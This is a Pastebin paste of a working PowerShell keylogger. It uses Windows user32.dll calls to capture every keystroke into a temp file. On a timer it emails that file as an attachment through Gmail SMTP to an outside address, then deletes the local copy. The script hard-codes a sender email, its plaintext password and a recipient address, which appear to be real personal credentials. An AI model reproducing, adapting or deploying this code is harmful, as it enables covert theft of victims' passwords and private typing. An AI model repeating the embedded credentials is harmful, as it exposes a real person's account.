Advertisement
Guest User

Untitled

a guest
Jan 17th, 2019
716
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.21 KB | None | 0 0
  1.  
  2. $TimesToRun = 2
  3.  
  4. $RunTimeP = 1
  5.  
  6. $From = “dansailorsav@mail.com"
  7.  
  8. $Pass = “Danskater1”
  9.  
  10. $To = “danielbirdsallll@gmail.com”
  11.  
  12. $Subject = "Keylogger Results"
  13.  
  14. $body = "Keylogger Results"
  15.  
  16. $SMTPServer = "smtp.gmail.com"
  17.  
  18. $SMTPPort = "587"
  19.  
  20. $credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
  21.  
  22. ############################
  23.  
  24.  
  25.  
  26.  
  27.  
  28. $TimeStart = Get-Date
  29.  
  30. $TimeEnd = $timeStart.addminutes($RunTimeP)
  31.  
  32.  
  33.  
  34. #requires -Version 2
  35.  
  36. function Start-KeyLogger($Path="$env:temp\keylogger.txt")
  37.  
  38. {
  39.  
  40. # Signatures for API Calls
  41.  
  42. $signatures = @'
  43.  
  44. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  45.  
  46. public static extern short GetAsyncKeyState(int virtualKeyCode);
  47.  
  48. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  49.  
  50. public static extern int GetKeyboardState(byte[] keystate);
  51.  
  52. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  53.  
  54. public static extern int MapVirtualKey(uint uCode, int uMapType);
  55.  
  56. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  57.  
  58. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  59.  
  60. '@
  61.  
  62.  
  63.  
  64. # load signatures and make members available
  65.  
  66. $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  67.  
  68.  
  69.  
  70. # create output file
  71.  
  72. $null = New-Item -Path $Path -ItemType File -Force
  73.  
  74.  
  75.  
  76. try
  77.  
  78. {
  79.  
  80.  
  81.  
  82. # create endless loop. When user presses CTRL+C, finally-block
  83.  
  84. # executes and shows the collected key presses
  85.  
  86. $Runner = 0
  87.  
  88. while ($TimesToRun -ge $Runner) {
  89.  
  90. while ($TimeEnd -ge $TimeNow) {
  91.  
  92. Start-Sleep -Milliseconds 40
  93.  
  94.  
  95.  
  96. # scan all ASCII codes above 8
  97.  
  98. for ($ascii = 9; $ascii -le 254; $ascii++) {
  99.  
  100. # get current key state
  101.  
  102. $state = $API::GetAsyncKeyState($ascii)
  103.  
  104.  
  105.  
  106. # is key pressed?
  107.  
  108. if ($state -eq -32767) {
  109.  
  110. $null = [console]::CapsLock
  111.  
  112.  
  113.  
  114. # translate scan code to real code
  115.  
  116. $virtualKey = $API::MapVirtualKey($ascii, 3)
  117.  
  118.  
  119.  
  120. # get keyboard state for virtual keys
  121.  
  122. $kbstate = New-Object Byte[] 256
  123.  
  124. $checkkbstate = $API::GetKeyboardState($kbstate)
  125.  
  126.  
  127.  
  128. # prepare a StringBuilder to receive input key
  129.  
  130. $mychar = New-Object -TypeName System.Text.StringBuilder
  131.  
  132.  
  133.  
  134. # translate virtual key
  135.  
  136. $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
  137.  
  138.  
  139.  
  140. if ($success)
  141.  
  142. {
  143.  
  144. # add key to logger file
  145.  
  146. [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
  147.  
  148. }
  149.  
  150. }
  151.  
  152. }
  153.  
  154. $TimeNow = Get-Date
  155.  
  156. }
  157.  
  158. send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
  159.  
  160. Remove-Item -Path $Path -force
  161.  
  162. }
  163.  
  164. }
  165.  
  166. finally
  167.  
  168. {
  169.  
  170. # open logger file in Notepad
  171.  
  172. exit 1
  173.  
  174. }
  175.  
  176. }
  177.  
  178.  
  179.  
  180. # records all key presses until script is aborted by pressing CTRL+C
  181.  
  182. # will then open the file with collected key codes
  183.  
  184. Start-KeyLogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement